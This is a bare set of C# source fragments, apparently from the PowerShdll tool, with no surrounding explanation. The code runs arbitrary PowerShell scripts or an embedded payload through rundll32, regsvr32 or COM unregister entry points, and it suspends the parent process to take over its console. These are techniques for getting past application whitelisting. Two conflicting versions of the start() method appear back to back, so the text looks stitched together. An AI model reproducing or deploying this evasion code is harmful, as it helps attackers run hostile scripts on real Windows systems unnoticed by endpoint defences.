public void start(string[] args) { // Place payload here for embeded payload: string payload = ""; if (payload.Length != 0) { Console.Write(ps.exe(payload)); ps.close(); return; } if (args.Length == 0) { this.interact(); return; } else if (args[0] == "-h") { usage(); } else if (args[0] == "-w") { this.interact(); } else if (args[0] == "-i") { Console.Title = "PowerShdll"; this.interact(); ps.close(); } else if (args[0] == "-f") { if (args.Length < 2) { usage(); return; } string script = PowerShdll.LoadScript(args[1]); if (script != "error") { Console.Write(ps.exe(script)); } } else { string script = string.Join(" ", args); Console.Write(ps.exe(script)); ps.close(); } return; }
public void start(string[] args) { if (args[0] == "") { usage(); return; } else if (args[0] == "-h") { usage(); } else if (args[0] == "-w") { PSConsole.getNewConsole(); this.interact(); } else if (args[0] == "-i") { pp = Process.GetCurrentProcess().Parent(); pp.Suspend(); PSConsole.stealConsole(pp); Console.Title = "PowerShdll"; Console.CancelKeyPress += delegate { this.cleanup(); }; Console.SetCursorPosition(0, Console.CursorTop + 1); Console.WriteLine("Press Enter to get started:"); Console.Write("\n"); this.interact(); ps.close(); pp.Resume(); } else if (args[0] == "-f") { if (args.Length < 2) { usage(); return; } pp = Process.GetCurrentProcess().Parent(); PSConsole.stealConsole(pp); Console.CancelKeyPress += delegate { this.cleanup(); }; Console.SetCursorPosition(0, Console.CursorTop + 1); string script = PowerShdll.LoadScript(args[1]); if (script != "error") { Console.Write(ps.exe(script)); } } else { pp = Process.GetCurrentProcess().Parent(); PSConsole.stealConsole(pp); Console.CancelKeyPress += delegate { this.cleanup(); }; Console.SetCursorPosition(0, Console.CursorTop + 1); string script = string.Join(" ", args); Console.Write(ps.exe(script)); ps.close(); } return; }
static void Main(string[] args) { PowerShdll psdl = new PowerShdll(); psdl.start(args); }
public void Exec() { PowerShdll psdl = new PowerShdll(); psdl.start(new string[0]); }
[ComUnregisterFunction] //This executes if registration fails public static void UnRegisterClass(string key) { PowerShdll psdl = new PowerShdll(); psdl.start(new string[0]); }
public static void DllUnregisterServer() { PowerShdll psdl = new PowerShdll(); psdl.start(new string[0]); }
public static void main(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow) { PowerShdll psdl = new PowerShdll(); psdl.start(lpszCmdLine.Split(' ')); }